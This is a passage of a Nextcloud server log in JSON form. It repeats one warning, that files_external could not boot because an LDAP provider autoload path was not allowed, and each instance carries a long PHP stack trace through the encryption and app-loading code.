/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"Nj7CbohvoDrhoocAjAbm","level":4,"time":"2022-11-09T12:56:09+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/settings/ca9f-e3f2-settings.css?v=b92d206521717ac032f8aa58d3c7ff2f-ca9f0d77-0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"lpkdU2g4OCgvlcUwJufn","level":4,"time":"2022-11-09T12:56:11+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/apps/theming/img/core/filetypes/folder.svg?v=0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"Y5NNRxVy5e57Op0Jv168","level":4,"time":"2022-11-09T12:56:11+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/apps/theming/img/core/filetypes/text.svg?v=0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"TLsuNbiyLIzNK1Is7pMH","level":4,"time":"2022-11-09T12:56:11+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/search/providers?from=%2Fsettings%2Fuser","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all 